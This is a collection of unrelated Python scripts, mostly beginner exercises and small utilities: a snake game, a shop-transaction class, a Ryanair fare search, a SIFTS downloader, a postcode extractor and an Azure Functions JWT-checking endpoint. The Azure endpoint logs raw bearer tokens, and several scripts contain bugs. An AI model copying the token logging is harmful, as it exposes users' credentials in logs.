                out_lf[-1] = out_lf[-1] + tok
            else:
                out_lf.append(tok)

        lf = " ".join(out_lf) # we are going to split again later!

        return [nl, lf, category]

if __name__ == "__main__":
    p = COGSSimplifiedAggressive(False)
    with open("../../data/COGS/data/train.tsv") as f:
        for line in f:
            line = line.strip()
            nl, lf, cat = line.split("\t")
            _,lf_2, cat = p.preprocess([nl, lf, cat])

            if lf != " ".join(p.postprocess(lf_2.split(" "))):
                print("Original     ", lf)
                print("Reconstructed", " ".join(p.postprocess(lf_2.split(" "))))
                print("---")


# -*- coding: utf-8 -*-
"""
Created on Fri Jan 22 13:59:18 2021

@author: win10
"""

##作业: 需要你  当蛇已经撞墙之后  结束游戏 并出现GameOver的字样
##x,y = body[-1] if x<0 or x>640 or y<0 or y>480: 都是已经撞墙了
##window.fill()##再填充一层墨水 画一层网格.
##我还你显示字体. 指明字体大小  设置内容 最后blit

##
import pygame
import sys
from itertools import product
import numpy as np
from random import choice

#画网格
def draw_grid(window,panel_width,panel_hight,cell_size,color):
    for a in range(0,panel_width,cell_size):
        pygame.draw.line(window,color, (a,0), (a,panel_hight))
    for b in range(0,panel_hight,cell_size):
        pygame.draw.line(window,color, (0,b), (panel_width,b))
    pygame.display.update()

#RGB组合
def random_choice_color(color_list):
    color_list=list(product(color_list,repeat=3))
    return color_list

#创建界面
pygame.init()
panel_width = 640
panel_hight = 480
window=pygame.display.set_mode((panel_width,panel_hight))
pygame.display.set_caption("Pygame")

#设置字体，标题
title_font=pygame.font.SysFont('arial', 40)
Welcome_words=title_font.render('Welcome to Greedy Snake', True, (255,255,0))
Start_words=title_font.render('start',True,(100,255,255))
Exit_words=title_font.render('exit',True,(255,0,255))
Game_over_words=title_font.render('Game Over',True,(100,255,100))

#选颜色
color_list=random_choice_color([0,50,100,200])
m =np.random.randint(0,len(color_list))

flag = False

body = [[200,200],[220,200],[240,200]] ##一条蛇 初始长度为3

#蛇的移动
def move(body,direction,speed,cell_size):
    if direction == 'right':
        new_head = [body[-1][0]+speed*cell_size,body[-1][1]]
    elif direction == 'left':
        new_head = [body[-1][0]-speed*cell_size,body[-1][1]]

    elif direction == 'up':
        new_head = [body[-1][0],body[-1][1]-speed*cell_size]
    elif direction == 'down':
        new_head = [body[-1][0],body[-1][1]+speed*cell_size]
    else:
        print('Direction is Wrong')
    body.append(new_head)
    body.pop(0)
    return body

speed = 1
direction = 'left'

###刷新的作用
fps_clock = pygame.time.Clock()

while True:
    for event in pygame.event.get():
        if event.type == pygame.MOUSEBUTTONDOWN:
            x,y=event.pos
            print('x={},y={}'.format(x,y))
            if(283<=x<=353 and 210<=y<=240):
                flag = True
                # ##重新覆盖掉原来的字体 然后再画网格
                # #window.fill((255,255,255))
                # #color_list=random_choice_color([0,50,100,200])
                # #m =np.random.randint(0,len(color_list))
                # #draw_grid(window,panel_width,panel_hight,20,color_list[m])
                # for x in body:
                #     pygame.draw.rect(window,(0,0,0),[x[0],x[1],20,20],0)

                # # pygame.draw.rect(window,(0,0,0),[200,200,20,20],0) ##[x,y,x_width,y_width]
                # # pygame.draw.rect(window,(0,0,0),[220,200,20,20],0)
                # # pygame.draw.rect(window,(0,0,0),[240,200,20,20],0)
                # ##蛇吃东西 蛇每次碰到一个方框 就要长一个给子.
            elif (291<=x<=347 and 307<=y<=342):
                pygame.quit()
                sys.exit()
        elif event.type == pygame.KEYDOWN:
            if event.key == 27:
                pygame.quit()
                sys.exit()
        elif event.type == pygame.QUIT:
            pygame.quit()
            sys.exit()

    if flag==False:
        window.blit(Welcome_words, (124,100))
        window.blit(Start_words,(286,200))
        window.blit(Exit_words,(293,300))
        pygame.display.update()

    ##代表 点击了start  也就是开始了游戏
    elif flag == True:
        window.fill((255,255,255))
        draw_grid(window,panel_width,panel_hight,20,color_list[m])
        for x in body:
            pygame.draw.rect(window,(0,0,0),[x[0],x[1],20,20],0)
        body = move(body,direction,speed,cell_size=20)
        a,b=body[-1]
        if a<0 or a>640 or b<0 or b>480:
            window.fill((0,0,0))
            window.blit(Game_over_words, (230,100))

    pygame.display.update()
    fps_clock.tick(speed)  #设置刷新的帧率


# %%
# Import numpy library untuk membantu membuat urutan nomor item pada tabel
import numpy as np

# Import pandas library untuk membuat tabel transaksi
import pandas as pd

# Import SQLite library untuk menyimpan data
import sqlite3

# %%
# Untuk membuat tabel awal
'''
conn = sqlite3.connect('transaction_data.db')
cursor = conn.cursor()
query_create_table = """
                        CREATE TABLE shop_transaction(
                            no_id INTEGER PRIMARY KEY AUTOINCREMENT,
                            nama_item VARCHAR(255),
                            jumlah_item INT,
                            harga FLOAT,
                            total_harga FLOAT,
                            diskon FLOAT,
                            harga_diskon FLOAT
                        )
                    """

cursor.execute(query_create_table)
conn.close()
'''

# %%
# Fungsi untuk menambahkan data ke db
def insert_to_table(list_data):
    conn = sqlite3.connect('transaction_data.db')
    cursor = conn.cursor()
    query = """
                INSERT INTO shop_transaction(
                    nama_item,
                    jumlah_item,
                    harga,
                    total_harga,
                    diskon,
                    harga_diskon
                    )
                VALUES(
                    :nama_item,
                    :jumlah_item,
                    :harga,
                    :total_harga,
                    :diskon,
                    :harga_diskon
                    )
            """
    cursor.executemany(query, list_data)
    conn.commit()
    conn.close()

# %%
# Buat class
class Transaction:
    # Inisiasi class, buat dictionary kosong untuk menampung item transaksi
    def __init__(self):
        self.ordered_item = dict()

    # Fungsi 1, menambahkan item baru dengan mengisi nama, jumlah, dan harga per item
    def add_item(self, nama_item, jumlah_item, harga_per_item):
        self.ordered_item[nama_item] = [jumlah_item, harga_per_item]
        print(f"Item yang dibeli adalah: {self.ordered_item}")

    # Fungsi 2, mengubah nama item
    def update_item_name(self, nama_item, update_nama_item):
        self.ordered_item[update_nama_item] = self.ordered_item[nama_item]
        del self.ordered_item[nama_item]
        print("Nama item berhasil diubah.")
        print(f"Item yang dibeli adalah: {self.ordered_item}")

    # Fungsi 3, mengubah jumlah item
    def update_item_qty(self, nama_item, update_jumlah_item):
        self.ordered_item[nama_item][0] = update_jumlah_item
        print("Jumlah item berhasil diubah.")
        print(f"Item yang dibeli adalah: {self.ordered_item}")

    # Fungsi 4, mengubah harga per item
    def update_item_price(self, nama_item, update_harga_item):
        self.ordered_item[nama_item][1] = update_harga_item
        print("Harga item berhasil diubah.")
        print(f"Item yang dibeli adalah: {self.ordered_item}")

    # Fungsi 5, menghapus satu item tertentu
    def delete_item(self, nama_item):
        del self.ordered_item[nama_item]
        print(f"{nama_item} berhasil dihapus.")

    # Fungsi 6, menghapus semua item yang sudah diinput
    def reset_transaction(self):
        self.ordered_item = dict()
        print("Semua item berhasil dihapus.")

    # Fungsi 7, melakukan pengecekan input apakah sudah sesuai dan menampilkan tabel item yang akan dibeli
    def check_order(self):
        self.table_order = pd.DataFrame.from_dict(self.ordered_item, orient="index", columns=["Jumlah Item", "Harga/Item"])
        self.table_order.index.names = ["Nama Item"]
        self.table_order.reset_index(inplace=True)
        self.table_order.index = np.arange(1, len(self.table_order) + 1)
        self.table_order.index.names = ["No"]

        # Melakukan pengecekan apakah tipe data yang diinput sudah sesuai
        try:
            for key, value in self.ordered_item.items():
                key = str(key)
                value[0] = int(value[0])
                value[1] = float(value[1])

            self.table_order["Total Harga"] = self.table_order["Jumlah Item"] * self.table_order["Harga/Item"]
            print("Pemesanan sudah benar.")
            print(self.table_order)
        except:
            print("Terdapat kesalahan input data. Silakan dicek kembali.")
            print(self.table_order)

    # Fungsi 8, menampilkan total harga yang harus dibayarkan setelah diskon
    def check_out(self):
        try:
            self.table_order['Diskon'] = np.where(self.table_order["Total Harga"]>500000,0.07,np.where(self.table_order["Total Harga"]>300000,0.06,np.where(self.table_order["Total Harga"]>200000,0.05,0.00)))
            self.table_order['Harga Diskon'] = self.table_order['Total Harga'] - (self.table_order['Total Harga'] * self.table_order['Diskon'])
            insert_to_table(self.table_order.values.tolist())
            print(self.table_order)
            print(f"Total Belanja Anda adalah sebesar Rp{self.table_order['Harga Diskon'].sum()}")
        except:
            print("Anda belum melakukan pengecekan item. Silakan gunakan check_order() untuk melakukan pengecekan sebelum menghitung total.")

# %%
trnsct_123 = Transaction()

# %%
# Test 1
trnsct_123.add_item("Ayam Goreng", 2, 20000)
trnsct_123.add_item("Pasta Gigi", 3, 15000)

# %%
# Test 2
trnsct_123.delete_item("Pasta Gigi")

# %%
# Test 3
trnsct_123.reset_transaction()

# %%
# Test 4
trnsct_123.add_item("Ayam Goreng", 2, 20000)
trnsct_123.add_item("Pasta Gigi", 3, 15000)
trnsct_123.add_item("Mainan Mobil", 1, 200000)
trnsct_123.add_item("Mi Instan", 5, 3000)

trnsct_123.check_order()
trnsct_123.check_out()


import time
import traceback
from datetime import datetime, timedelta
import concurrent.futures
import ryanair.types
from ryanair import Ryanair

class ConnectionFlight:
    def __init__(self, *flights: ryanair.types.Flight):
        self.total_price = sum(f.price for f in flights)
        self.flights = flights

class ReturnFare:
    def __init__(self, outbound: ConnectionFlight, inbound: ConnectionFlight):
        self.total_price = inbound.total_price + outbound.total_price
        self.inbound = inbound
        self.outbound = outbound

def search_ryanair_with_return():
    ryanair = Ryanair("EUR")  # Euro currency, so could also be USD, GBP, etc...

    results = dict()
    start_date = datetime(year=2023, month=8, day=1)
    end_date = datetime(year=2023, month=9, day=30)
    current_date = start_date
    while current_date <= end_date:
        weekday = current_date.strftime("%A")
        delta = 6 if weekday == "Thursday" else 1
        departure_date = current_date.strftime('%Y-%m-%d')
        return_date_from = (current_date + timedelta(days=7)).strftime('%Y-%m-%d')
        return_date_to = (current_date + timedelta(days=10)).strftime('%Y-%m-%d')
        try:
            trips = ryanair.get_return_flights(
                source_airport="TLV",
                date_from=departure_date,
                date_to=departure_date,
                return_date_from=return_date_from,
                return_date_to=return_date_to,
            )
            trips = [trip for trip in trips if
                     trip.totalPrice <= 2 * max_price_per_direction and trip.outbound.destination not in exclude_dests]
            results[departure_date] = trips
        except Exception:
            traceback.print_exc()
        finally:
            current_date += timedelta(days=delta)
    # pretty(results)
    return results

def search_ryanair_one_way(source_airport_code: str,
                           earliest_departure: datetime, latest_departure: datetime,
                           dest_country_code: str = None, dest_airport_code: str = None,
                           max_price: int = 1000):
    ryanair = Ryanair("EUR")  # Euro currency, so could also be USD, GBP, etc...

    results = dict()
    current_date = earliest_departure
    while current_date <= latest_departure:
        departure_date = current_date.strftime('%Y-%m-%d')
        try:
            flights = ryanair.get_flights(
                airport=source_airport_code,
                date_from=departure_date,
                date_to=departure_date,
                destination_country=dest_country_code
            )

            flights = [
                flight for flight in flights
                if flight.price <= max_price
                and (flight.destination == dest_airport_code or not dest_country_code)
            ]
            results[departure_date] = flights
        except Exception:
            traceback.print_exc()
        finally:
            current_date += timedelta(days=1)
    # pretty(results)
    return results

def ryanair_one_way_with_dest(source_airport_code, earliest_departure, latest_departure, dest_country_code,
                              dest_airport_code, max_price):
    results = dict()
    first_flights = search_ryanair_one_way(
        source_airport_code=source_airport_code,
        earliest_departure=earliest_departure,
        latest_departure=latest_departure
    )

    def search_second_flights(first_flight, first_flight_date, connection_airport, connection_date,
                              second_flight_max_price):
        second_flights_options = search_ryanair_one_way(
            source_airport_code=connection_airport,
            earliest_departure=connection_date,
            latest_departure=connection_date + timedelta(days=1),
            dest_country_code=dest_country_code,
            dest_airport_code=dest_airport_code,
            max_price=second_flight_max_price
        )
        trips = dict()
        for second_flight_date, second_flights in second_flights_options.items():
            if second_flights:
                trips[second_flight_date] = [ConnectionFlight(first_flight, second_flight) for
                                             second_flight in second_flights]
        return trips

    with concurrent.futures.ThreadPoolExecutor(max_workers=4) as executor:
        tasks = []
        for first_flight_date, flights_per_date in first_flights.items():
            for first_flight in flights_per_date:
                connection_airport = first_flight.destination
                connection_date = first_flight.departureTime
                second_flight_max_price = max_price - first_flight.price
                tasks.append(executor.submit(search_second_flights, first_flight, first_flight_date, connection_airport,
                                             connection_date, second_flight_max_price))
        for task in concurrent.futures.as_completed(tasks):
            result = task.result()
            for k, v in result.items():
                if k in results:
                    results[k] += v
                else:
                    results[k] = v
            if task.exception() is not None:
                traceback.print_exc()

    # pretty(results)
    return results

def ryanair_return_with_dest(source_airport_code, source_country_code, earliest_departure, latest_departure,
                             dest_airport_code, dest_country_code, max_price, min_days, max_days):
    results = dict()
    outbounds = ryanair_one_way_with_dest(
        source_airport_code=source_airport_code,
        earliest_departure=earliest_departure,
        latest_departure=latest_departure,
        dest_country_code=dest_country_code,
        dest_airport_code=dest_airport_code,
        max_price=max_price
    )
    print(f"done outbounds. found {sum(len(outbound) for outbound in outbounds)} outbounds")
    pretty(outbounds)
    inbounds = ryanair_one_way_with_dest(
        source_airport_code=dest_airport_code,
        earliest_departure=earliest_departure + timedelta(days=min_days),
        latest_departure=latest_departure + timedelta(days=max_days),
        dest_country_code=source_country_code,
        dest_airport_code=source_airport_code,
        max_price=max_price
    )
    print(f"done inbounds. found {sum(len(inbound) for inbound in inbounds)} inbounds")
    for outbound_date, outbounds_per_date in outbounds.items():
        od = datetime.strptime(outbound_date, '%Y-%m-%d')
        inbound_dates = {(od + timedelta(i)).strftime('%Y-%m-%d') for i in range(min_days, max_days)}
        relevant_inbounds = {d: inbound for d, inbound in inbounds.items() if d in inbound_dates}
        trips = [
            ReturnFare(outbound, inbound)
            for outbound in outbounds_per_date
            for _, inbound in relevant_inbounds
            if outbound.total_price + inbound.total_price <= max_price
        ]
        results[outbound_date] = trips
        print("Done with", outbound_date)
    pretty(results)
    return results

def pretty(d, indent=0):
    if isinstance(d, ryanair.types.Trip) or isinstance(d, ryanair.types.Flight):
        pretty(dict(d._asdict()), indent + 1)
        print()
    elif isinstance(d, ConnectionFlight):
        print('\t' * indent + "Fare Total Price: ", d.total_price)
        for flight in d.flights:
            print('\t' * indent + flight.departureTime.strftime("%Y-%m-%d"))
            pretty(dict(flight._asdict()), indent + 1)
    elif not isinstance(d, dict):
        print('\t' * indent + str(d))
    else:
        for key, value in d.items():
            if not value:
                continue
            if isinstance(value, dict):
                print('\t' * indent + str(key))
                pretty(value, indent + 1)
            elif isinstance(value, list):
                print('\t' * indent + str(key))
                for elem in value:
                    pretty(elem, indent + 1)
            elif isinstance(value, ryanair.types.Flight):
                print('\t' * indent + str(key))
                pretty(dict(value._asdict()), indent + 1)
            else:
                print('\t' * indent + str(key) + ": " + str(value))

def main():
    start_date = datetime(year=2023, month=8, day=25)
    end_date = datetime(year=2023, month=9, day=10)
    res = ryanair_return_with_dest(
        source_airport_code="TLV",
        source_country_code="IL",
        earliest_departure=start_date,
        latest_departure=end_date,
        dest_country_code="PT",
        dest_airport_code="LIS",
        max_price=110,
        min_days=7,
        max_days=10
    )
    print("h")

if __name__ == '__main__':
    main()


# -*- coding: utf-8 -*-
"""
Created on Sat Jan 22 18:27:43 2022

@author: ChrisX
"""
from common import get_workdir, save_dict_binary

import os
import sys
import gzip
import wget
import shutil
import time
import argparse

def download_n_modify_sifts(workdir, pdb_uniprot_url):
    """
    Download new SIFTS file with PDB chain mapping and unzip it in specified folder.

    Create 2 dictionaries:
    i) a shorter version of the SIFTS file with joined structure and chain
    ii) a reverse version with structchains as values of UniProt ID(s)

    Backups and deletes old SIFTS and dict files.

    :param workdir: global work directory
    :param pdb_uniprot_url: URL of pdb_chain_uniprot.tsv.gz file
    :return:
    """

    # Saving options (default = 1)
    del_old_sifts = 1   # 0 means processing existing SIFTS file and not downloading the new one
    save_dicts = 1      # if 0, overrides following settings
    save_r_spnum = 1    # save dict_R_SPnum dictionary to file (includes readable version w headers)
    save_plaindict = 1  # save dict_SIFTS dictionary to file (includes readable version w headers)

    if save_dicts == 0:
        save_r_spnum = 0
        save_plaindict = 0

    use_old_sifts = False

    path_root = workdir
    pathSIFTS = path_root + r'/SIFTS'           # Pre compiled files with UniProt PDB mapping
    pathOLD = path_root + r'/oldSIFTS'          # old SIFTS files, keep as backup
    # pathSIFTS = get_2level_cwd() + r'\ownCloud\Bioinfo_ownCloud\Projects\Ions\Uniprot_PDBchain\autodownload'
    filename = pdb_uniprot_url.split('/')[-1]

    print('Downloading SIFTS files from EBI ftp to local folder')
    print('Download URL:', pdb_uniprot_url, '\n')  # Print the URL that is being checked/downloaded
    print('Target filename: "%s"' % filename)  # Print name of file to download
    print('Saving directory:', pathSIFTS)

    # Check if SIFTS directory exists, if not, create it
    if not os.path.exists(pathSIFTS):
        print('SIFTS directory does not exist, creating new directory\n')
        try:
            os.makedirs(pathSIFTS)
        except:
            print('Could not create directory: ', pathSIFTS)

    # Check if (old) SIFTS file exists and/or download new file
    if os.path.exists(pathSIFTS + "/" + filename):
        if del_old_sifts == 1:

            # Archive old SIFTS files before deleting/replacing
            print('Backing up current SIFTS and dict files')
            if not os.path.exists(pathOLD):
                os.makedirs(pathOLD)
            time_str = time.strftime("%Y%m%d_%H%M%S", time.gmtime())
            output_archive_pathname = pathOLD + '/oldSIFTS_' + time_str
            shutil.make_archive(output_archive_pathname, 'zip', pathSIFTS)

            print('Deleting existing SIFTS file')
            os.remove(pathSIFTS + "/" + filename)

            print('Downloading new SIFTS file into ', pathSIFTS)
            wget.download(pdb_uniprot_url, pathSIFTS)  # Download new file
        else:
            print('Using existing SIFTS file')
            use_old_sifts = True
    else:
        print('Downloading new SIFTS file into ', pathSIFTS)
        wget.download(pdb_uniprot_url, pathSIFTS)  # Download new file

    # Unzip new .gz file (and overwrite old)
    if not use_old_sifts:
        with gzip.open(pathSIFTS + "/" + filename, "rb") as infile, open(pathSIFTS + "/" + filename[:-3], "wb") as outfile:
            print('Unzipping new file')
            for line in infile:
                outfile.write(line)
        print('Done\n')

    # Create reverse version with SPnum and also a simple version of the dict with structchain:uniprot_id
    fileSIFTS = pathSIFTS + "/" + filename[:-3]
    filenameSIFTS = filename[:-3]
    counter_zeroes = 0
    counter_neg = 0
    dict_R_SPnum = dict()   # The dictionary with the reversed SIFTS chains/structures and SPnum
    dict_SIFTS = dict()     # Normal forward dict, structure -> structchain:uniprot_id

    with open(fileSIFTS, 'r') as infile1:

        # Get/skip first two header lines
        header1 = infile1.readline()
        header2 = infile1.readline()
        print("\nBuilding dictionary")

        for line in infile1:

            structure = line.split("\t")[0]
            chain = line.split("\t")[1]
            uniprot_id = line.split("\t")[2]
            SIFTSstructchain = structure + chain

            SP_BEG = line.split("\t")[7]
            SP_END = line.split("\t")[8][:-1]    # includes \n cause of EOL
            sp_length = int(SP_END) - int(SP_BEG)     # Calculate length of chain

            # Build basic dict with structchain as keys, uniprot IDs as values
            dict_SIFTS[SIFTSstructchain] = uniprot_id
            #dict_SIFTS.setdefault(SIFTSstructchain, []).append(uniprot_id)
            #dict_SIFTS.setdefault(SIFTSstructchain, uniprot_id)

            # Append values to the R_SPnum dict (SP_BEG, SP_END, sp_length)
            dict_R_SPnum.setdefault(uniprot_id, []).append(structure+chain+' '+SP_BEG+' '+SP_END+' '+str(sp_length))
            #dict_R_SPnum.setdefault(uniprot_id, []).append(structure + chain)  # basic version with UniProt ID as the key and corresponding PDB structures+chains as values

            # Count the cases where the length/coverage is zero
            if sp_length == 0:
                counter_zeroes += 1
            elif sp_length < 0:
                counter_neg += 1
                #print(uniprot_id, structure+chain+' '+str(SP_BEG)+' '+str(SP_END)+' '+str(sp_length))

        print('Done')

    print('Dict keys, values:')
    print(len(dict_R_SPnum.keys()), sum(len(v) for v in dict_R_SPnum.values()))
    print('Entries with 0 length:\t', counter_zeroes)
    print('Entries with negative length:\t', counter_neg)

    '''
    # Discard duplicate values in SIFTS_dict (values)
    print('Removing duplicate entries')
    for key,value in SIFTS_dict.items():
        SIFTS_dict[key] = list(SIFTS_dict.fromkeys(value))   # preserves the order of values
    print('Done\n')
    '''

    # Save dicts to file (include readable versions)

    # Reverse dict (dict_R_SPnum)
    if save_r_spnum == 1:
        outfile1 = filenameSIFTS[:-4] + "_REVERSE_SPnum.txt"
        outfile2 = outfile1[:-4] + "_readable.txt"
        print('Saving output of dict_R_SPnum as:\n', outfile1, '\t', outfile2)

        with open(pathSIFTS + '/' + outfile1, 'wt') as out1:
            out1.write(str(dict_R_SPnum))

        outfile_bin = filenameSIFTS[:-4] + "_REVERSE_SPnum.bin"
        save_dict_binary(dict_R_SPnum, pathSIFTS + '/' + outfile_bin)

        # Write same dict in a more readable format (new line per key)
        with open(pathSIFTS + '/' + outfile2, 'wt') as out2:
            for key, value, in dict_R_SPnum.items():
                out2.write('{0}: {1}\n'.format(key, value))

    # Forward simple dict (dict_SIFTS)
    if save_plaindict == 1:
        outfile_SIFTS = filenameSIFTS[:-4] + '_dict.txt'
        outfile_SIFTS_readable = outfile_SIFTS[:-4] + "_readable.txt"
        print('Saving output of dict_SIFTS as:\n', outfile_SIFTS, '\t', outfile_SIFTS_readable)

        with open(pathSIFTS + '/' + outfile_SIFTS, 'wt') as out3:
            out3.write(str(dict_SIFTS))

        outfile_SIFTS_bin = filenameSIFTS[:-4] + '_dict.bin'
        save_dict_binary(dict_SIFTS, pathSIFTS + '/' + outfile_SIFTS_bin)

        # Write  dict2 in a more readable format (new line per key)
        with open(pathSIFTS + '/' + outfile_SIFTS_readable, 'wt') as out4:
            #header = '#HEADER: HOLO_chain SP_BEG SP_END : APO_chain SP_BEG SP_END SP_LEN overlap_len %overlap\n'
            out4.write(header1)
            out4.write(header2)
            for key, value, in dict_SIFTS.items():
                out4.write('{0}: {1}\n'.format(key, value))

##########################################################################################################

def main(argv):
    parser = argparse.ArgumentParser()
    parser.add_argument('--work_dir',        type=str, default=None, help='global root working directory for pre-computed and intermediary data')
    #parser.add_argument('--pdb_uniprot_url', type=str, default='http://ftp.ebi.ac.uk/pub/databases/msd/sifts/flatfiles/tsv/pdb_chain_uniprot.tsv.gz')
    parser.add_argument('--pdb_uniprot_url', type=str, default='ftp://ftp.ebi.ac.uk/pub/databases/msd/sifts/flatfiles/tsv/uniprot_segments_observed.tsv.gz')  # Observed residues only

    args = parser.parse_args(argv)

    workdir = get_workdir(args)
    download_n_modify_sifts(workdir, args.pdb_uniprot_url)
    print('All done')
    return 0

if __name__ == "__main__":
    sys.exit(main(sys.argv[1:]))


# https://www.freecodecamp.org/learn/javascript-algorithms-and-data-structures/basic-algorithm-scripting/boo-who
# Reprak11

def booWho(param):
    if(type(param) is bool):
        return True
    return False

if __name__ == "__main__":
    print(booWho(True))


# This function an HTTP starter function for Durable Functions.
# Before running this sample, please:
# - create a Durable orchestration function
# - create a Durable activity function (default name is "Hello")
# - add azure-functions-durable to requirements.txt
# - run pip install -r requirements.txt

import json
import azure.functions as func
import azure.durable_functions as df
import os
import sys
import logging

from authlib.jose import jwt

dir_path = os.path.dirname(os.path.realpath(__file__))
sys.path.insert(0, dir_path)

from Utilities.error_respond import validate_error
from Utilities.load_parameter import load_parameters

parameters = load_parameters()

async def main(req: func.HttpRequest, starter: str) -> func.HttpResponse:

    logging.info("Python HTTP trigger function processed a request.")

    correct_req = validate_req(req)
    jwt = req.headers.get("Authorization")
    logging.warning("jwt: " + jwt)
    is_token = validate_token(jwt)
    if is_token != True:
        return func.HttpResponse(status_code=401, mimetype="application/json")

    if correct_req:
        parameter_task = get_parameter(req, "task")
        parameter_information = get_parameter(req, "information")
        parameter_penalty_text = get_parameter(req, "penaltyText")
        dict_parameters = {
            "task": parameter_task,
            "information": parameter_information,
            "penaltyText": parameter_penalty_text,
        }
        fare_basis = str(parameter_penalty_text[0]["fareBasis"])
        logging.warning("Starter")
        logging.warning(fare_basis)
        client = df.DurableOrchestrationClient(starter)

        instance_id = await client.start_new("Orchestator", None, dict_parameters)

        logging.info(f"Started orchestration with ID = '{instance_id}'.")

        respond = await client.get_status(instance_id)

        while respond.runtime_status.value != "Completed":
            respond = await client.get_status(instance_id)
            if respond.runtime_status.value == "Failed":
                cause = validate_error(respond)

                return func.HttpResponse(
                    json.dumps({"cause": cause, "error": respond.output}),
                    mimetype="application/json",
                    status_code=500,
                )
        logging.warning(f"Orchestration status: {respond.runtime_status.value}")
        logging.warning("fareBasis: " + str(fare_basis))
        return func.HttpResponse(
            json.dumps(respond.output),
            mimetype="application/json",
            status_code=200,
        )
    else:
        return func.HttpResponse(
            json.dumps(
                {
                    "cause": "There is a Error in the Json, review that task should be CANCELLATION or CHANGE, or penaltyText and information is not empty",
                    "error": "Bad Request",
                }
            ),
            mimetype="application/json",
            status_code=500,
        )

def get_parameter(req: object, parameter: str) -> str:
    """
    get the parameter from the request
    Args:
        req: request, parameter: parameter to get
    Returns:
        parameter string
    """
    parameter_string = req.params.get(parameter)
    if not parameter_string:
        try:
            req_body = req.get_json()
        except ValueError:
            raise ValueError("Request body must be valid JSON")
        else:
            parameter_string = req_body.get(parameter)
    return parameter_string

def validate_req(req) -> bool:
    """
    this function validate the information of the request
    Args:
        req: request
    Returns:
        dict with the parameters
    """
    parameter_task = get_parameter(req, "task")
    correct_task = validate_task(parameter_task)
    logging.info("======================================")
    logging.warning("correct_task: " + str(correct_task))
    parameter_information = get_parameter(req, "information")
    parameter_penalty_text = get_parameter(req, "penaltyText")
    fare_basis = str(parameter_penalty_text[0]["fareBasis"])
    correct_penalty = validate_text(parameter_penalty_text)
    logging.warning("correct_penalty: " + str(correct_penalty))
    correct_information = validate_text(parameter_information)
    logging.warning("correct_information: " + str(correct_information))
    logging.warning("fareBasis: " + fare_basis)
    logging.info("======================================")
    if correct_task and correct_penalty and correct_information:
        return True
    else:
        return False

def validate_task(parameter_task: str):
    # validate if task is CANCELLATION or CHANGE
    if parameter_task not in ["CANCELLATION", "CHANGE"]:
        return False
    else:
        return True

def validate_text(parameter_text: str):
    # validate if text is not empty
    if parameter_text is None:
        return False
    elif parameter_text == "":
        return False
    else:
        return True

# TODO: agregar funcion para validar el json de token
def validate_token(token: str) -> bool:
    """
    this function validate the token
    Args:
        token: token
    Returns:
        bool
    """

    try:
        logging.warning("validate_token")
        token = token.replace("Bearer ", "")
        jwk = {
            "keys": [
                {
                    "kty": parameters["kty"],
                    "use": parameters["use"],
                    "kid": parameters["kid"],
                    "x5t": parameters["x5t"],
                    "e": parameters["e"],
                    "n": parameters["parameter_n"],
                    "x5c": [
                        parameters["x5c"],
                    ],
                    "alg": parameters["alg"],
                }
            ]
        }
        logging.warning("jwk: " + str(jwk))
        claims = jwt.decode(token, jwk)
        claims.validate()
        logging.info("token validated")
        return True
    except:
        logging.error("token not validated")
        return False


from dagster import execute_pipeline
from docs_snippets.overview.schedules_partitions.partition_definition import day_partition_set
from docs_snippets.overview.schedules_partitions.pipeline import my_pipeline

def test_pipeline():
    result = execute_pipeline(
        my_pipeline, {"solids": {"process_data_for_day": {"config": {"day_of_week": "M"}}}},
    )
    assert result.success

def test_partition_set():
    partitions = day_partition_set.get_partitions()
    assert len(partitions) == 7
    for partition in partitions:
        assert day_partition_set.run_config_for_partition(partition)


# using SW1A 1AA  - buckingham palace postcode :)

# need everything in a class/classes
# extract as... (json)
# transform - get postcode, country, longitude, latitude, region
# output as something useful/somehow

import csv
import requests

class PostcodeExtract:
    def __init__(self):
        self.postcode_address = 'https://api.postcodes.io/postcodes/'
        self.postcode_complete = ''
        self.postcode = {}
        self.column_values = []
        self.needed = ['postcode', 'country', 'longitude', 'latitude', 'region']
        self.complete = []
        self.new_postcode_csv = ''

    def get_postcode_data(self, address):
        self.postcode_complete = self.postcode_address + address
        self.postcode = requests.get(self.postcode_complete)
        self.postcode = self.postcode.json()
        # print(type(self.postcode))
        # print(self.postcode)
        return self.postcode
        # gets and returns a dictionary file
        # only needs the postcode to be entered, not the full web address

    def get_columns(self):
        for key in self.postcode['result'].keys():
            if key in self.needed:
                self.column_values.append(self.postcode['result'][key])
                # print(key)
        # print(self.column_values)
        return self.column_values
        # allows me to select the correct values from within the nested dictionary called 'results'

    def final_complete(self):
        self.complete.append(self.needed)
        self.complete.append(self.column_values)
        print(self.complete)
        return self.complete
        # appends both the header(self.needed) and the values(self.column_values) into a list

    def load(self):
        with open(self.new_postcode_csv, "w", newline="") as new_postcode_file:
            csv_writer = csv.writer(new_postcode_file, delimiter=',')
            csv_writer.writerows(self.complete)
        # loads self.complete into a .csv file

    def main(self, address, new_postcode_file_name):
        self.new_postcode_csv = new_postcode_file_name
        self.get_postcode_data(address)
        self.get_columns()
        self.final_complete()
        self.load()
        # runs all the functions

instance = PostcodeExtract()
instance.main('SW1A 1AA', 'postcode_csv')


# IF AND ELSE
# This code will check height of the person before ride the rollercoaster

#Take height from user
print("Welcome to the rollercoaster!")
height=int(input("What is your height in cm? "))

#check height is greater than 120cm using if else conditonals
if height>120:
    print("You can ride the rollercoaster!")

else:
    print("You can ride the rollercoaster!")

# NESTED IF ELSE AND ELIF
print("----------------------------------------------------------------------------------------------------------")

#Take height from user
print("Welcome to the rollercoaster!")
height=int(input("What is your height in cm? "))

#check height is greater than 120cm using if else conditonals
if height>120:
    bill=0
    print("You can ride the rollercoaster!")
    #Take age as a input to check age is greater than 18
    age=int(input("What is your age: "))

    if(age>=18):
        bill=12
        print("Adult ticket price 12$.")
    elif(age>=12):
        bill=7
        print("Youth ticket pricepay 7$.")
    else:
        bill=5
        print("Children ticket pricepay 5$.")
    wants_photo=input("Do you want a photo taken? y or n")

    if(wants_photo=="y"):
        bill+=3
    print(f"Your final bill is {bill}$")

else:
    print("You can ride the rollercoaster!")


# -*- coding: utf-8 -*-

# Добавить цвет в функции рисования геом. фигур. из упр lesson_004/01_shapes.py
# (код функций скопировать сюда и изменить)
# Запросить у пользователя цвет фигуры посредством выбора из существующих:
#   вывести список всех цветов с номерами и ждать ввода номера желаемого цвета.
# Потом нарисовать все фигуры этим цветом

# Пригодятся функции
# sd.get_point()
# sd.line()
# sd.get_vector()
# и константы COLOR_RED, COLOR_ORANGE, COLOR_YELLOW, COLOR_GREEN, COLOR_CYAN, COLOR_BLUE, COLOR_PURPLE
